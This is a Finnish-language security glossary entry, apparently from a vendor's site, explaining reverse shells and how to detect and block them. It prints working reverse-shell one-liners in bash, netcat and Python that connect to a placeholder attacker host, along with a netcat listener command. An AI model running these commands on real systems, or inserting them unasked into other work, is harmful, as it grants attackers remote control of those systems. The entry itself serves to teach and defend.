Sanasto Reverse Shell

Käänteinen kuori

TL;DR: Käänteinen kuori

Käänteinen kuori, joka tunnetaan myös nimellä connect-back shell, on tilanne, jossa vaarantunut järjestelmä yhdistää hyökkääjään ja antaa heille reaaliaikaisen komentoriviyhteyden.

Miksi tämä on tärkeää?

  • Käänteiset kuoret voivat ohittaa palomuurit, koska useimmat palomuurit estävät saapuvat yhteydet, mutta sallivat lähtevät yhteydet.
  • Hyökkääjät saavat todellisen hallinnan, koska he voivat suorittaa komentoja aivan kuin olisivat kirjautuneet suoraan sisään.
  • Käänteiset kuoret ovat hyvin yleisiä, koska ne ovat vakioaskel sen jälkeen, kun hyökkääjä on hyödyntänyt järjestelmää.

Kuvittele se näin: sen sijaan, että hyökkääjä yrittäisi päästä sisään, he huijaavat palvelimen ottamaan heihin yhteyttä.

Mikä on käänteinen kuori?

Käänteinen kuori on etäkuori, jossa uhrin tietokone aloittaa yhteyden hyökkääjän tietokoneeseen.

Normaalisti tietokoneesi aloittaa yhteyden, kuten silloin kun vierailet verkkosivustolla. Käänteisessä kuoressa tämä on käänteistä. Kun hyökkääjä löytää tavan suorittaa koodia, palvelin yhdistää takaisin hyökkääjään.

Helppo tapa muistaa se:

  • Bind shell: Yrität yhdistää palvelimeen. Jos palomuuri estää sinut, et pääse läpi.
  • Käänteinen kuori: Palvelin yhdistää sinuun. Koska lähtevät yhteydet ovat yleensä sallittuja, voit vastata ja ottaa hallinnan.

Miksi käänteiset kuoret ovat tärkeitä

Tietoturvatiimit keskittyvät yleensä puolustuksiin, kuten palomuureihin, kuormantasaajiin ja porttien rajoittamiseen. Nämä toimivat, kunnes hyökkääjä onnistuu suorittamaan koodia järjestelmän sisällä.

Kun näin tapahtuu, käänteinen kuori tulee hyökkääjän pääasialliseksi tavaksi pysyä sisällä.

Miksi tämä on vaarallista:

  • Lähtevä liikenne on luotettu.

    Palomuurit sallivat usein lähtevän liikenteen porteilla, kuten 80 tai 443, päivityksiä ja API-yhteyksiä varten. Käänteiset shellit voivat piiloutua tähän sallittuun liikenteeseen.

  • Hyökkääjät voivat ylläpitää pääsyä.

    Vaikka alkuperäinen tietoturva-aukko korjattaisiin, aktiivinen shell voi silti antaa hyökkääjille mahdollisuuden hallita järjestelmää.

  • Se mahdollistaa lateraalisen liikkumisen.

    Shellin avulla hyökkääjät voivat tutkia sisäistä verkkoa, varastaa salasanoja ja siirtyä muihin tietokoneisiin. Yksi haavoittuvuus voi nopeasti johtaa koko ympäristön vaarantumiseen.

Kuinka käänteinen shell toimii

Käänteisessä shellissä on kaksi pääosaa: kuuntelija ja kuorma.

1. Kuuntelija (Hyökkääjän puoli)

Hyökkääjä käyttää ohjelmaa, joka odottaa yhteyksiä. Netcat on yleinen työkalu tähän.

nc -lvnp 4444

Tämä komento käskee hyökkääjän tietokonetta kuuntelemaan porttia 4444 ja odottamaan yhteyttä.

2. Kuorma (Uhrin puoli)

Löydettyään haavoittuvuuden, kuten etäkoodin suoritus, hyökkääjä suorittaa komennon uhrin palvelimella avatakseen shellin ja lähettääkseen sen takaisin.

bash -i >& /dev/tcp/hyokkaajan-ip/4444 0>&1

Tämä komento käynnistää bash-shellin ja lähettää kaiken syötteen ja tulosteen hyökkääjän tietokoneelle.

3. Yhteys

Uhrin palvelin aloittaa lähtevän yhteyden. Palomuuri näkee tämän normaalina ja sallii sen. Hyökkääjän kuuntelija hyväksyy yhteyden, antaen hyökkääjälle live-shellin palvelimella.

Tässä vaiheessa hyökkääjällä on täydellinen interaktiivinen hallinta palvelimeen.

Yleisiä käänteisen shellin esimerkkejä

Hyökkääjät ja eettiset hakkerit mukauttavat lähestymistapaansa sen perusteella, mitä työkaluja kohdejärjestelmässä on saatavilla.

Bash (Yleinen Linuxissa)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Käytetään, kun Netcat on saatavilla kohdekoneessa.

nc -e /bin/sh 10.0.0.1 4444

Python

Python on hyvin yleinen nykyaikaisilla palvelimilla.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

Reverse shellien ja bind shellien eron tunteminen auttaa verkkojen puolustamisessa.

OminaisuusBind ShellReverse Shell
Yhteyden suuntaHyökkääjä uhrilleUhri hyökkääjälle
Palomuurin vaikutusUsein estettyUsein sallittu
VerkkovaatimuksetSuora pääsy tarvitaanToimii NAT
ja palomuurien läpi
Tyypillinen käyttötapausSisäiset verkotTodelliset hyökkäykset

Kuka käyttää reverse shellejä?

  • Penetraatiotestaajat käyttävät reverse shellejä todistaakseen, että haavoittuvuus voi johtaa koko järjestelmän kompromissiin.
  • Red teamit käyttävät reverse shellejä testatakseen, kuinka hyvin lähtevä liikenne on hallinnassa.
  • Pahantahtoiset toimijat käyttävät reverse shellejä kiristysohjelmien levittämiseen, tietojen varastamiseen tai verkossa etenemiseen.
  • Järjestelmänvalvojat käyttävät harvoin reverse shellejä etäkäyttöön. He suosivat yleensä turvallisia SSH-tunneleita.

Havaitseminen ja estäminen

Reverse shellien pysäyttäminen vaatii useita puolustuskerroksia.

  • Lähtevän liikenteen suodatus

    Palvelimilla ei pitäisi olla avointa pääsyä internetiin. Rajoita, mihin kohteisiin ja portteihin ne voivat käyttää.

  • Käyttäytymisen seuranta

    Web-palvelimen käynnistämä shell-prosessi, kuten /bin/bash tai cmd.exe, on erittäin epäilyttävä.

  • Vähennä hyökkäyspintaa.

    Poista käyttämättömät työkalut, kuten Netcat, kääntäjät ja ylimääräiset tulkit tuotantojärjestelmistä.

Liittyvät termit

  • Remote Code Execution (RCE)
  • Bind Shell

FAQ: Reverse Shell

Onko reverse shell laiton?

Reverse shellit ovat laillisia vain, jos käytät niitä järjestelmissä, jotka omistat tai joihin sinulla on selkeä lupa testata. Niiden käyttö ilman lupaa on laitonta.

Miksi palomuurit sallivat reverse shellit?

Palomuurit on rakennettu estämään saapuvat uhat ja yleensä luottavat lähtevään liikenteeseen. Reverse shellit hyödyntävät tätä.

Voiko virustorjunta havaita reverse shellit?

Joskus. Virustorjuntaohjelmisto, joka käyttää allekirjoituksia, voi löytää tunnettuja shell-ohjelmia, mutta tiedostottomat shellit, jotka on tehty Bashilla tai Pythonilla, ovat paljon vaikeampia havaita.

Mikä on ero reverse shellin ja webshellin välillä?

Webshell käytetään selaimen kautta ja se pysyy yleensä järjestelmässä, mutta sillä on rajalliset ominaisuudet. Reverse shell tarjoaa reaaliaikaisen, interaktiivisen komentorivisession.

Seuraavat askeleet

Valmis turvaamaan sovelluksesi? Valitse polkusi eteenpäin.

Liity yli 500 yritykseen, jotka jo turvaavat sovelluksensa Plexicuksen avulla

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready